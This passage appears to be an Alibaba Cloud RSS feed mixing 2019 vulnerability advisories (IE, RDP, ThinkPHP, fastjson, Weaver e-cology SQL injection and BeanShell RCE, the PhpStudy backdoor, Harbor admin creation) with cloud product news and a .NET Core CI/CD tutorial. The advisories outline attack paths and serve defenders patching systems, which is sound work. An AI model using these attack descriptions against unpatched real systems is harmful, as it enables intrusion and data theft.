        最后的最后,稳定性保障是应用整个生命周期内的事情,是每个开发者的责任和义务。


        ]]>
        《哪吒》的制作公司上云啦!大千阳光全面拥抱阿里云 Fri, 02 May 2025 09:39:04 +0800 2019电影暑期档爆款《哪吒之魔童降世》以46.79亿元的成绩问鼎暑期档票房冠军,同时也跻身中国影史票房亚军的位置。


        据公开报道,《哪吒》的背后有1600多位从业人员的倾力制作,哪吒的人物形象设计就做了100多版,更有5000多个初版设计镜头,1400多个特效镜头等等。

        这些可敬的行业人士因为热爱而“死磕”每一个镜头,每一帧画面。这其中就有作为联制方的大千阳光公司的身影。

        精研制作造就上云契机

        大千阳光与阿里云的初次接触是在《哪吒》的制作尾声,数据压力的需求让大千探寻云化解决方案。基于大千阳光多年来不断积累的制作经验,也为了今后能更好地服务饺子导演们的影片,大千在制作质量和精细度上都给自己提出了更高要求。但这也会同时增加大量的数据压力和处理需求。所以,大千与阿里云团队深入研究探讨了行业云化的路径、成本负荷、云化阶段、痛点需求、改良方案等内容之后,决定将公司业务一步到位全链路搬上阿里云。

        大千阳光CEO张润华女士提及本次合作说,“以前没考虑过行业云化的问题,但是随着数字技术的进步和公司业务规模的发展,未来应该是全面云化的时代。所以大千阳光也在积极推动自身业务全面上云的实践。”

        弹性多规格的安全云受青睐

        据公开报道,《哪吒》这部电影需要处理的数据量达到8千万核小时,在制作高质量镜头时动辄需要64核128GB内存的工作站,但日常中小企业通常更多使用24核64GB内存。如果是为项目准备大量高性能工作站,一是价格昂贵,二是项目过后部分程度又会闲置。阿里云弹性计算以高弹性、多规格特性完美解决这两个问题,而且有按量付费和抢占式付费等灵活付费方式,再加上经济型云计算资源,让影视动画制作成本会大幅度降低。

        此外,阿里云的对象存储,提供高可靠、按量付费的存储服务,让存储需求紧跟着业务发展。并且针对分发场景提供paas化的企业内容协作平台,会有效避免动画制作过程中涉及分发合作的数据泄密等风险。

        知名IT杂志《连线》撰文指出,企业自建机房的服务器利用率仅为6%,维护状况堪忧。越来越多企业将招不到传统IT开发和运维人才。

        全面上云之后,底层资源保障将全权由阿里云负责,大千阳光们再也不用为机房、服务器、IT运维人员等事项操心了,可以把更多的精力专注在动画电影的制作上。

        大千阳光曾深度参与过《大圣归来》《哪吒之魔童降世》《年兽大作战》《超级飞侠》等知名影剧。相信未来,会有更多优秀的国产动画作品在阿里云的全力支持下横空出世。

        作为全球前三、亚太第一的阿里云,是国内最早布局支持影视制作行业的云服务商,拥有完善的计算、网络、存储解决方案,能提供弹性伸缩能力的影视制作计算能力;产品方面,阿里云提供了计算型、内存型、网络型等多种服务器规格,包括兼具“虚拟机的心脏”和“物理机的肌肉”的弹性裸金属服务器神龙X-Dragon。阿里云还通过了全球范围内的几十项安全认证,并且通过了美国电影协会(MPAA)认证。


        ]]>
        关于TeamViewer网络攻击风险的安全公告 Fri, 02 May 2025 09:39:04 +0800 一、情况描述

        根据国内权威信息来源,近期发现有某黑客组织对TeamViewer实施了网络攻击,控制了TeamViewer公司的后台管理系统,使得黑客组织可以访问控制任何安装了TeamViewer客户端的系统。

        二、处置意见

        建议学校师生采取以下措施进行主动防御:

        1.为保证安全,建议暂时卸载TeamViewer软件。

        2.在防火墙中禁止用于TeamViewer远程通讯的5938端口。


        如发生安全事件请及时处置,并请第一时间联系网络与信息化中心:

        网信中心304室

        联系电话:84709126

        联系邮箱:security@dlut.edu.cn


        ]]>
        关于对IE浏览器远程代码执行高危漏洞 开展安全加固的紧急通报 Fri, 02 May 2025 09:39:04 +0800 据国家网络与信息安全信息通报中心监测发现,IE浏览器存在远程代码执行高危漏洞(CVE-2019-1367)。受影响的系统版本包括:Windows 10、Windows 8.1、Windows 7、Windows Server 2012/R2、Windows Server 2008、Windows Server 2016、Windows Server 2019的IE11版本,Windows Server 2012的IE10版本以及Windows Server 2008的IE9版本。

        经分析研判,攻击者可利用该漏洞诱使用户访问恶意网页触发漏洞从而获得当前用户的所有权限,进而安装恶意程序,增加、删除、更改或查看数据,可造成业务瘫痪、敏感数据泄漏等。

        鉴于漏洞危害较大,一旦被不法人员利用,可能对我网络安全造成较大的危害和影响,建议各重要行业部门和各地公安机关及时督促核查本部门、本行业、本辖区网站安全情况,及时堵塞漏洞,消除安全隐患,提高安全防范能力,并上报核查及整改情况。

        漏洞修复地址为:

        https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1367

        ]]>
        关于对部分重要漏洞进行安全加固的预警通报 Fri, 02 May 2025 09:39:04 +0800 根据国家网络与信息安全信息通报中心通报,国家通报中心组织有关技术支持单位,对近两年曝光且影响广泛的重要漏洞进行了梳理。截至目前,此类漏洞仍在各重要信息系统中普遍存在。建议各项目组开展自查自排,及时采取整改加固措施,确保国庆70周年期间网络与信息安全。主要漏洞有:

        一、Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708)

        漏洞介绍:

        未经身份认证的攻击者可通过RDP协议链接到目标系统并发送精心构造的请求可触发此漏洞。成功利用此漏洞时可执行任意代码。此漏洞易被蠕虫病毒制造者利用。

        影响范围:

        主要影响Windows7、Window Server 2008、Windows2003、WindowXP操作系统。

        漏洞修复方案:

        请参考以下官方安全通告下载并安装最新补丁:

        https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708

        https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

        二、微软远程桌面服务远程代码执行漏洞(CVE-2019-1181/1182)

        漏洞介绍:

        攻击者可通过RDP向目标系统远程桌面服务发送精心构造的请求,成功利用该漏洞时可以在目标系统上执行任意代码。

        影响范围:

        此漏洞影响版本较多,请查看官方说明。

        漏洞修复方案:

        请参考以下官方安全通告下载并安装最新补丁:

        https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1182

        https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1181

        三、Windows认证漏洞(CVE-2019-1040)

        漏洞介绍:

        此漏洞可造成多种不同的危害,严重时攻击者可以在仅有一个普通域账号的情况下远程控制Windows域内的任何机器,包括域控服务器。

        影响范围:

        此漏洞影响版本较多,请查看官方说明。

        漏洞修复方案:

        请在所有受影响的Windows客户端、服务器下载安装更新,安装完毕后需重启服务器。:

        https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040

        四、Exchange SSRF漏洞(CVE-2018-8581)

        漏洞介绍:

        攻击者在拥有目标网络内任意邮箱权限或者已控制目标网络内的任意一台与域内机器在同一网段的机器,并成功针对域内机器发起windows name resolution spoofing攻击时可触发此漏洞时,可直接控制目标网络内所有的Windows机器。

        影响范围:

        Microsoft Exchange Server 2010、2013、2016、2019

        漏洞修复方案:

        请参考以下官方安全通告下载并安装最新补丁:

        https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0686

        五、Oracle WebLogic远程代码执行漏洞(CVE-2019-2729)

        漏洞介绍:

        攻击者可利用此漏洞绕过CVE-2019-2725的补丁,造成远程任意代码执行漏洞。并且此漏洞不受JDK版本的影响。

        影响范围:

        Oracle WebLogic 10.3.6、12.1.3、12.2.1.3

        漏洞修复方案:

        官方已发布相关更新补丁,请安装更新进行修复。

        六、ThinkPHP 5.x远程代码执行漏洞

        漏洞介绍:

        ThinkPHP对控制器没有做到足够的检测,导致Pathinfo在访问模式时,可能Getshell。

        影响范围:

        ThinkPHP 5.1.x < 5.1.31

        ThinkPHP 5.0.x < 5.0.23

        漏洞修复方案:

        更新ThinkPHP 5.0.X到ThinkPHP 5.0.23

        http://www.thinkphp.cn/down/1278.html

        更新ThinkPHP 5.1.x到ThinkPHP 5.1.31

        https://github.com/top-think/framework/commit/adde39c236cfeda454fe725d999d89abf67b8caf

        七、FastJson远程代码执行漏洞

        漏洞介绍:

        攻击者可以通过提交精心构造的JSON数据实现远程代码执行。

        影响范围:

        FastJson < 1.2.48

        漏洞修复方案:

        FastJson升级到1.2.51

        FastJson升级到1.2.58

        八、VxWorks多个高危漏洞

        漏洞介绍:

        VxWorks系统(广泛用于工业、医疗和企业设备中,使用量超过20亿)存在6个严重漏洞可远程执行代码:CVE-2019-12255、CVE-2019-12256、CVE-2019-12257、CVE-2019-12260、CVE-2019-12261、CVE-2019-12263。

        影响范围:

        漏洞影响版本较多,请参考修复方案。

        漏洞修复方案:

        下载安装补丁或更新到最新版本:

        https://support2.windriver.com/index.php?page=cve&on=view&id=CVE-2019-12255

        https://support2.windriver.com/index.php?page=cve&on=view&id=CVE-2019-12256

        https://support2.windriver.com/index.php?page=cve&on=view&id=CVE-2019-12257

        https://support2.windriver.com/index.php?page=cve&on=view&id=CVE-2019-12260

        https://support2.windriver.com/index.php?page=cve&on=view&id=CVE-2019-12261

        https://support2.windriver.com/index.php?page=cve&on=view&id=CVE-2019-12263

        ]]>
        关于修复Adobe安全漏洞的安全公告 Fri, 02 May 2025 09:39:04 +0800 一、情况描述

        Adobe发布了2019年9月安全更新,解决了两个程序中的三个安全漏洞。修复的所有漏洞都是针对任意代码执行的,这可能允许攻击者在易受攻击的计算机上执行命令。特别值得关注的是Adobe Flash Player中发现的严重漏洞,它可能允许攻击者通过特制网站在易受攻击的计算机上执行代码。这些漏洞已在Adobe Flash Player 32.0.0.255中修复。

        二、影响范围

        修复漏洞信息:

        Vulnerability Category

        Vulnerability Impact

        Severity

        CVE Numbers

        Insecure Library Loading (DLL hijacking) 

        Arbitrary Code Execution

        Important 

        CVE-2019-8076

        Use After Free

        Arbitrary Code Execution

        Critical

        CVE-2019-8070

        Same Origin Method Execution

        Arbitrary Code Execution 

        Critical 

        CVE-2019-8069


        三、处置建议

        建议用户尽快安装最新更新。

        注:Insecure Library Loading (DLL hijacking) ,该漏洞在Adobe Application Manager (installer) 2019 Release中修复。Use After Free和Same Origin Method Execution,这两个漏洞在Adobe Flash Player 32.0.0.255中修复

        参考链接:

        https://www.bleepingcomputer.com/news/security/adobe-releases-security-updates-for-flash-player-and-application-manager/



        ]]>
        【漏洞预警】泛微e-cology OA系统前台SQL注入漏洞 Fri, 02 May 2025 09:39:04 +0800 2019年10月10日,阿里云应急响应中心监测到国家信息安全漏洞共享平台(CNVD)披露了泛微e-cology OA系统前台SQL注入漏洞。攻击者通过构造特定的HTTP请求,成功利用漏洞可在目标服务器上执行SQL语句,风险极大。


        漏洞描述

        泛微e-cology OA系统的WorkflowCenterTreeData接口在使用Oracle数据库时,由于内置SQL语句拼接不严,导致泛微e-cology OA系统存在SQL注入漏洞。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的SQL语句,从而获取数据库敏感信息。阿里云应急响应中心已捕获该0day漏洞利用方式,漏洞真实存在且风险极大,阿里云应急响应中心提醒泛微e-cology OA用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        泛微e-cology OA系统 JSP版


        安全建议

        泛微e-cology OA系统为商业软件,泛微官方已发布安全更新补丁,请及时下载更新。

        官方补丁下载地址:https://www.weaver.com.cn/cs/securityDownload.asp

        EC7.0及以下版本安全补丁: https://www.weaver.com.cn/cs/package/Ecology_security_20191010_v6.28.zip

        EC8.0及以上版本安全补丁: https://www.weaver.com.cn/cs/package/Ecology_security_20191010_v10.18.zip



        云盾WAF已可防御此漏洞攻击

        云盾漏洞扫描已支持对该漏洞检测

        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测


        相关链接

        https://www.cnvd.org.cn/webinfo/show/5235



        我们会关注后续进展,请随时关注官方公告。


        ]]>
        【风险预警】PHP网站程序集成包PhpStudy爆发后门高风险事件 Fri, 02 May 2025 09:39:04 +0800 近日,阿里云应急响应中心监测到国内知名PHP网站环境程序集成包“PhpStudy”遭黑客篡改,其Windows版本自带的php_xmlrpc.dll模块被植入后门。攻击者在请求中构造特定字符串,可实现远程命令执行,控制服务器。



        漏洞描述

        黑客通过篡改php_xmlrpc.dll模块,导致用户的请求均会经过特定的后门函数。当满足一定条件时,黑客可以通过自定义头部实现任意代码执行,在用户无感知的情况下窃取用户数据。



        影响版本

        PhpStudy多个Windows版本被植入后门



        安全建议

        1. 用户通过搜索php_xmlrpc.dll模块中是否包含“eval”等关键字来定位是否存在后门,后门文件包括php\php-5.4.45\ext\php_xmlrpc.dll 和 php\php-5.2.17\ext\php_xmlrpc.dll 等。若存在请及时卸载后门程序并排查。

        2. 关注PhpStudy官方安全公告,尽量在官网进行下载和更新。



        相关链接

        https://mp.weixin.qq.com/s/s-5cVTxIJcDfdRjtnEnI0g

        https://www.xp.cn/



        我们会关注后续进展,请随时关注官方公告。


        ]]>
        【漏洞预警】泛微e-cology OA系统远程代码执行0day漏洞 Fri, 02 May 2025 09:39:04 +0800 2019年9月19日,阿里云应急响应中心监测到有社区媒体披露了泛微e-cology OA系统远程代码执行0day漏洞。攻击者通过构造特定的HTTP请求,成功利用漏洞可在目标服务器上执行任意命令,风险极大。


        漏洞描述

        泛微e-cology OA系统自带BeanShell组件且开放未授权访问,攻击者调用BeanShell组件接口可直接在目标服务器上执行任意命令,漏洞暂无安全补丁发布,属0day状态。阿里云应急响应中心已捕获该0day漏洞利用方式,漏洞真实存在且风险极大,阿里云应急响应中心提醒泛微e-cology OA用户尽快采取安全措施阻止漏洞攻击。


        安全建议

        泛微e-cology OA系统为商业软件,可直接联系官方取得安全升级方案;在官方安全补丁发布之前,临时关停BeanShell接口或关闭网站对外访问。


        云盾WAF已可防御此漏洞攻击

        云盾漏洞扫描已支持对该漏洞检测

        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测



        官方链接

        https://www.weaver.com.cn/cs/securityDownload.asp

        漏洞补丁下载地址:https://www.weaver.com.cn/cs/package/JDK/Ecology_Bsh_20190919.zip


        我们会关注后续进展,请随时关注官方公告。


        ]]>
        【漏洞预警】Harbor 未授权创建管理员漏洞(CVE-2019-16097) Fri, 02 May 2025 09:39:04 +0800 近日,阿里云应急响应中心监测到镜像仓库Harbor爆出任意管理员注册漏洞,攻击者在请求中构造特定字符串,在未授权的情况下可以直接创建管理员账号,从而接管Harbor镜像仓库。官方已发布公告说明,最新的1.7.6和1.8.3已修复此漏洞,请使用到的用户尽快升级至安全版本。



        漏洞描述


        Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.7.0版本至1.8.2版本中的core/api/user.go文件存在安全漏洞。攻击者通过在请求中添加关键参数,即可利用该漏洞创建管理员账户,从而接管Harbor镜像仓库。




        影响版本


        Harbor 1.7.0版本至1.8.2版本



        安全版本

        Harbor >= 1.7.6

        Harbor >= 1.8.3




        安全建议


        升级Harbor版本到 1.7.6 和 1.8.3

        参考下载链接:https://github.com/goharbor/harbor/releases



        云盾漏洞扫描已支持对该漏洞检测

        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测

        云盾WAF已可防御此漏洞攻击




        相关链接


        https://github.com/goharbor/harbor/issues/8951

        https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/




        我们会关注后续进展,请随时关注官方公告。


        ]]>
        【漏洞预警】fastjson < 1.2.61 反序列化远程代码执行漏洞 Fri, 02 May 2025 09:39:04 +0800 近日,阿里云应急响应中心监测到fastjson官方git披露fastjson存在最新反序列化远程代码执行漏洞攻击Gadgets,利用该最新的Gadgets,攻击者可远程执行服务器任意命令,继而控制服务器权限,风险极大。官方已发布最新版本1.2.61修复该漏洞,请使用到fastjson的用户尽快升级至安全版本。


        漏洞描述

        fastjson采用黑名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的可攻击的反序列化Gadgets类时,则可轻松绕过黑名单防御机制,反序列化漏洞就会再次出现。fastjson自1.2.5X以上默认关闭autotype,默认配置不受漏洞影响。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        fastjson < 1.2.61


        安全版本

        fastjson >= 1.2.61

        fastjson自1.2.5X版本以上默认关闭autotype,默认配置不受漏洞影响


        安全建议

        升级至安全版本,参考下载链接:http://repo1.maven.org/maven2/com/alibaba/fastjson/



        相关链接

        https://github.com/alibaba/fastjson/releases/tag/1.2.61


        云盾WAF已可防御此漏洞攻击

        云盾网站威胁扫描系统已支持对该漏洞检测

        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测




        我们会关注后续进展,请随时关注官方公告。

        ]]>
        阿里云应用高可用服务 AHAS 流控降级实现 SQL 自动防护功能 Fri, 02 May 2025 09:39:04 +0800 在影响系统稳定性的各种因素中,慢 SQL 是相对比较致命的,可能会导致 CPU、LOAD 异常、系统资源耗尽。线上生产环境出现慢 SQL 往往有很多原因:

        • 硬件问题。如网络速度慢,内存不足,I/O 吞吐量小,磁盘空间满等。

        • 没有索引或者索引失效。

        • 数据过多。

        • DevOps 后没有专业的 DBA 对 SQL 代码进行 review,在项目初期没有对 SQL 的性能做很好的考量。

        严重的慢 SQL 发生后可能会拖垮整个数据库,对线上业务产生阻断性的风险。AHAS 流控降级提供了 SQL 级别的识别与防护,可以帮助开发以及运维同学快速的识别慢 SQL 并及时采取有效的防护措施保障系统的稳定性。

        应用场景

        AHAS 提供了丰富的 SQL 场景支持,不需要更改代码即可实现SQL识别与防护,包括:

        • 根据 SQL 语句的调用频率、执行时间来进行控制,如直接拒绝或者排队等待等。

        • 自动探测 SQL 的执行时间、频率,并进行控制。

        • 数据库读写联动控制,例如,读操作的速度由写操作的速度决定。

        • SQL 执行并发控制。

        在慢 SQL 防护一节中我们会详细介绍不同的用法。

        SQL识别

        AHAS 流控降级通过自动检测常见的 DAO 类、JDBC 驱动类等自动识别应用中的 SQL 语句,用户可以通过 Java Agent或者 JAVA SDK 两种接入方式来实现 SQL 的监控和拦截。其中 Java Agent 目前支持 MySQL JDBC 和 Oracle JDBC 驱动,SDK 目前支持 MyBatis 框架下的 SQL 识别。第三方组件和框架的版本支持情况详见支持列表

        如果使用Agent接入只需下载并安装最新的Agent即可:

        SDK接入需要在应用依赖中引入ahas-sentinel-client:

        接入成功后就可以在AHAS控制台的监控页看到SQL资源调用的QPS以及RT等信息,用户可以在监控页面通过查看SQL对应的RT值来判断该SQL执行是否过慢,从而提前设置限流和降级规则进行多手段防护。对于SQL的常见防护规则我们会在慢SQL防护中详细说明。

        慢SQL防护

        AHAS 流控降级提供了多种不同的防护手段,对于线上出现慢SQL的情况,可以从限流和降级两方面来对系统进行防护。规则配置开启后立即生效,不仅能够提前设置防护,还能在线上出现问题时紧急处理避免因为大量慢SQL的调用把系统拖垮。

        限流策略

        基于控制台自动识别出的SQL语句,使用者可以配置相应的限流规则对SQL执行进行控制。AHAS支持对QPS和并发线程数两种维度进行限制,SQL控制一般采取并发线程数模式,当出现慢SQL调用时可以限制同一时刻执行的SQL数量,防止过多的慢SQL语句执行把资源耗尽。

        流控模式

        AHAS 提供了多种不同的流控模式,用户可以基于自身业务场景来选择使用,在慢SQL防护中,比较常用的有直接和关联两种模式:

        1、直接模式。

        最常用的一种流控模式,在该模式下,阈值配置为当前SQL资源,超过设置的值后多余的请求将被拒绝。

        2、关联模式。

        阈值配置为关联SQL资源,关联的资源请求超过设置的之后,该资源的调用将被拦截。可以根据需要将SQL读关联写资源。

        降级策略

        除了限流规则之外,AHAS还提供了基于RT和异常比例的降级策略。对于慢SQL防护,使用者可以根据SQL执行的RT设置对应的阈值以及时间窗口,超过指定的RT值后在时间窗口内 SQL 执行将被降级,抛出包装好的异常。

        资源被流控降级后会抛出 BlockException 异常类的子类(限流会抛流控异常 FlowException,降级会抛出降级异常 DegradeException),开发人员可以自定义异常的业务处理,如重试等一系列操作。

        强大的监控

        AHAS提供了强大的监控功能来帮助使用者快速发现问题并及时处理。在应用概览页可以查看集群的总QPS、拒绝QPS、RT等信息:

        同时可以查看集群、单机TOP的CPU、LOAD信息,并支持历史数据回放:

        除此之外还能够很直观的看到不同 SQL 语句执行的 TOP 情况,包括请求 QPS TOP、拒绝 QPS TOP、RT TOP,以及对应的单机 TOP 数据:

        在监控详情页,可以查看每条 SQL 语句的调用及执行情况,发现 RT 请求过长的 SQL 调用可以进行一键限流或降级:

        上述就是 AHAS 流控降级所提供的基于慢 SQL 的防护手段,通过 监控->发现异常->配置规则->有效防护 保障应用的高可用服务能力。


        ]]>
        阿里公布自研ESSD成绩:成阿里云增长最快存储产品 Fri, 02 May 2025 09:39:04 +0800 [摘要] “我们全球最大的压力测试就来自于双11,技术上的演变也都是被双11逼出来的。” 阿里云智能存储产品资深总监Alex Chen对时代财经表示,“目前为止,60%以上的阿里云的头部客户已经在用ESSD。”

        8月26日,阿里云宣布自研ESSD实现大规模商用,已服务数万企业,涵盖自动驾驶、AR/VR、证券交易、电商搜索等产业。

        ESSD是业界首个百万级IOPS、百微秒延时的超高性能云存储产品。根据阿里官方公布的数据,其商用1个月以来,已成为阿里云增长最快的存储产品,用户数增长300%。

        据悉,ESSD底层架构基于自研大规模分布式存储系统盘古 2.0,存储芯片采用自研Aliflash SSD,并且依托自研网络协议 Luna 和增强型RDMA 数据传输协议,结合自研HPCC流控算法,可以使数据传输效率提高50%。

        根据阿里官方公布的数据,通过ESSD,上海振华重工加速SAP HANA上云,性能提升3倍的同时,成本降低30%;微博加速弹性扩容,弹性能力提升3倍,以应对高流量事件;一下科技交互响应速度提升100%。

        阿里云智能存储产品资深总监Alex Chen。来源:阿里云团队

        “我们全球最大的压力测试就来自于双11,技术上的演变也都是被双11逼出来的。” 在当日的媒体交流会上,阿里云智能存储产品资深总监Alex Chen对时代财经表示,“目前为止,60%以上的阿里云的头部客户已经在用ESSD。”

        据IDC预测,伴随AIoT发展,2020年全球数据总量达44ZB,所有数据要求实时采集、传输和计算。以自动驾驶为例,1毫秒延时就可能造成交通事故,对存储提出新挑战。

        ESSD可以实现数据的快速传输与存储,满足AIoT场景下对存储性能、读写时延等方面的极致要求,或成为ESSD应用的重要场景。“ESSD为企业数据存储和业务敏捷创新提供了新的可能,未来将成为AIoT智联网时代海量数据存储场景的标配。” Alex Chen指出。

        云计算在商业世界中迅速普及,给中小企业创造了便利,但另一方面也产生了大量的问题。如乐动卓越诉阿里云案,以及被称为“首例微信小程序案”的刀豆公司诉腾讯案等。云计算的安全问题以及云计算提供商扮演的角色引发行业关注。

        “存储不再是性能的瓶颈。我们不仅仅是速度快,还有其他方向的提升。例如端到端数据的保护,即便硬件上出了一些错误,我们也可以保证数据可靠,没有任何泄露。” 


        ]]>
        阿里云supET工业互联网平台入选工信部核心工业互联网平台 Fri, 02 May 2025 09:39:04 +0800 近日,国家工信部对外公示2019年十大跨行业跨领域工业互联网平台清单,

        据了解,该平台依托于 阿里 云的云计算、智联网、大数据、人工智能等核心技术能力,充分发挥平台的网络协同效应,打通研发、生产、供应链在内的全价值链协作与资源的精准对接,结合工业行业细分市场的特性,提出了“1+N” 模式平台生态为发展理念,联合行业内服务商、龙头企业打造一个产业协同的跨行业跨领域的资源与能力共享平台。

        阿里 云方面表示,经过不断探索,supET已经走出了一条“以平台化驱动数字产业化、服务产业数字化”的发展道路。通过联合工业领域的专业服务商,形成N个行业级区域级平台,共同打造成为“1+N”的工业互联网平台体系。

        不少企业已经通过supET降本增效,例如博拉科技通过IoT平台对设备进行远程监控、资产管理,节省了上百万元产品研发费用,节约了至少半年的研发时间。

        与此同时,国家工业互联网小镇于近期在落地浙江余杭, 阿里 云supET工业互联网创新中心率先落户小镇,作为余杭临平新城与supET强强联合的产物,通过打造“新制造”模式策源地和输出地,使之成为长三角跨行业跨领域的工业互联网平台。

        阿里 云supET工业互联网平台负责人韦伟表示:“未来计划通过三步走战略,逐步实现工厂内部的智能化改造、工厂间的协同智造及消费与生产打通,达成个性化定制、柔性制造,最终完成消费互联网与工业互联网的深度融合。”


        ]]>
        .Net Core in Docker - 使用阿里云Codepipeline及阿里云容器镜像服务实现持续集成(CI) Fri, 02 May 2025 09:39:04 +0800 介绍过了.Net Core 程序发布到 Docker 容器的内容。但是每次通过 SSH 链接到服务器敲命令,运行脚本也是挺麻烦的一件事。程序员是最懒的,能让电脑解决的问题绝不手动解决,如果当我们push一次代码后自动build代码,自动跑单元测试,如果测试通过,自动发布程序,如果失败就发邮件通知管理员,这样的话该多美好。为了达成这个目标于是持续集成(CI)持续交付/部署(CD)就被发明出来了。CICD领域有个大名鼎鼎的工具:Jenkins,但是这次不使用它。如果你使用阿里云的话,阿里云已经提供了类似的功能,可以免去自己搭建Jenkins服务,以及Docker镜像私仓的过程,而且目前它们是免费的。

        阿里云Codepipeline服务,是一套类似Jenkins的服务(其实我觉得它的核心引擎就是来自Jenkins)。阿里云容器镜像服务,是一个镜像仓库,可以是公开的,也可以是私有的。持续集成CI

        持续集成指的是,频繁地(一天多次)将代码集成到主干。
        它的好处主要有两个。

        (1)快速发现错误。每完成一点更新,就集成到主干,可以快速发现错误,定位错误也比较容易。

        (2)防止分支大幅偏离主干。如果不是经常集成,主干又在不断更新,会导致以后集成的难度变大,甚至难以集成。

        持续集成的目的,就是让产品可以快速迭代,同时还能保持高质量。它的核心措施是,代码集成到主干之前,必须通过自动化测试。只要有一个测试用例失败,就不能集成。
        Martin Fowler说过,"持续集成并不能消除Bug,而是让它们非常容易发现和改正。"
        摘自阮一峰大神的blog

        下面就演示一下如何通过阿里云Codepipeline跟容器镜像服务来实现 .Net Core 程序的CICD。

        持续集成流程


        代码push后Gitee通过webhook功能触发Codepipeline构建,构建成功后自动推送镜像到容器镜像服务

        新建一个 .Net Core MVC 的程序


        新建一个 .net core mvc 程序名叫CoreCICDTest

        public class Program
        {
        public static void Main(string[] args)
        {
        CreateWebHostBuilder(args).Build().Run();
        }

        public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
        WebHost.CreateDefaultBuilder(args)
        .UseStartup<Startup>()
        .UseKestrel(options =>
        {
        options.Listen(IPAddress.Any, 5000);
        });
        }

        修改Program的main方法,使Kestrel监听5000端口

        @{
        ViewData["Title"] = "Home Page";
        }


        <h3>
        .NET CORE CICD TEST
        </h3>

        修改Home/index视图

        运行一下看看效果,网站正常显示 .NET CORE CICD TEST -- V 1.0

        新建一个 MSTest 项目


        在CoreCICDTest的解决方案下新建一个 MSTest 项目用来写单元测试,名叫CoreCICDTest.Tests

        [TestClass]
        public class UnitTest1
        {
        [TestMethod]
        public void TestMethod1()
        {
        string str = "00";

        Assert.AreEqual(str, "00");
        }
        }

        修改UnitTest1文件中的TestMethod1方法,使其成为一个合法的TestMethod

        运行一下单元测试,全部通过

        添加Dockerfile文件FROM microsoft/dotnet:latest AS build
        WORKDIR /app
        COPY /. /app
        RUN dotnet restore
        WORKDIR /app/CoreCICDTest.Tests
        RUN dotnet test CoreCICDTest.Tests.csproj
        WORKDIR /app/CoreCICDTest
        RUN dotnet publish -o ./out -c Release
        EXPOSE 5000
        ENTRYPOINT ["dotnet", "out/CoreCICDTest.dll"]

        Dockerfile注意文件名没有任何后缀,Dockerfile用来在Docker容器内自动test、build我们的代码

        在Gitee上新建一个项目,并把CoreCICDTest解决方案推送上去

        使用Gitee的免费Git服务,新建一个项目名叫CoreCICDTest,使用Git Push命令把本地代码推送上去。

        在阿里云容器镜像服务上新建项目并进行配置


        点击“创建镜像仓库”按钮,弹出创建界面。填写命名空间kklldog,仓库名称cicd_test


        点击下一步,代码源选择“本地仓库”,点击“创建镜像仓库”完成仓库的创建

        在阿里云Codepipeline上新建项目并进行配置


        点击“新建”按钮跳转至新建项目页面。这个界面跟Jenkins简直就是一模一样


        在“镜像构建与发布”界面填写刚才创建的仓库信息

        镜像仓库名格式为namespace/镜像仓库名。如果registry为Docker hub,拉取镜像命令为docker pull docker,则本配置项填写docker;如果 registry为阿里云Docker镜像仓库,拉取镜像命令为docker pull registry.cn-hangzhou.aliyuncs.com/acs-sample/wordpress, 则本配置项填写acs-sample/wordpress。 Registry地址 用来配置docker registry地址,如果为空,默认使用Docker hub registry (https://index.docker.io/v1/);如果使用阿里云registry, 请填写https://registry.cn-beijing.aliyuncs.com/v2/,其中地域(cn-beijing)根据用户实际的镜像仓库地域来修改。
        Registry证书 用来添加授权信息,请添加Registry授权类型的证书。


        在“构建后操作”界面填写邮件地址,用来接收邮件通知。勾选“每次不稳定的构建都发送邮件通知”

        在Gitee的CoreCICDTest项目上配置WebHook


        当点击“添加”按钮后Gitee会立马往webHook配置的url地址Post一次请求,如果Codepipeline做出“Task has been scheduled to queue”的响应则说明Codepipeline开始进行自动构建了


        这个时候构建的镜像也应该被推送到了容器镜像服务的cicd_test仓库里。

        编写shell脚本运行容器sudo vim publish_cicd_test.sh
        输入以下内容
        #!/bin/bash
        sudo docker stop cicd_test
        sudo docker rm cicd_test
        sudo docker rmi registry-vpc.cn-shanghai.aliyuncs.com/kklldog/cicd_test
        sudo docker login --username=xxx --password=xxx registry-vpc.cn-shanghai.aliyuncs.com
        sudo docker pull registry-vpc.cn-shanghai.aliyuncs.com/kklldog/cicd_test:latest
        sudo docker run --name cicd_test -d -p 7000:5000 -v /etc/localtime:/etc/localtime registry-vpc.cn-shanghai.aliyuncs.com/kklldog/cicd_test:latest

        新建一个shell脚本命名为publish_cicd_test.sh;使用docker pull从仓库中拉取最近的镜像;使用docker run运行容器

        sudo /bin/bash publish_cicd_test.sh


        运行一下shell脚本

        sudo docker ps -a

        使用docker ps命令查看一下容器的运行状态,可以看到cicd_test容器已经运行成功了

        使用浏览器访问一下对应的端口,网站已经正常运行了

        Push代码触发构建

        刚才的构建是我们配置Webhook的时候Gitee默认发送的一次请求,正常应该是用户使用git push命令后Gitee会发送一次请求,让我们模拟一下。

        可以看到home/index已经变成V2.0了,说明我们的持续集成流程跑通了

        持续交付/部署

        ]]>
        阿里云优惠物联网狂欢月8月 Fri, 02 May 2025 09:39:04 +0800 阿里云优惠物联网狂欢月8月

         智能办公 


        人脸识别一体机

        人脸识别门禁一体机解决方案

        • · 唯一“门钥匙”

        • · 全天候智能守护



        ¥10155.00/起

        立即购买

        0571-26883303


        会议一体机

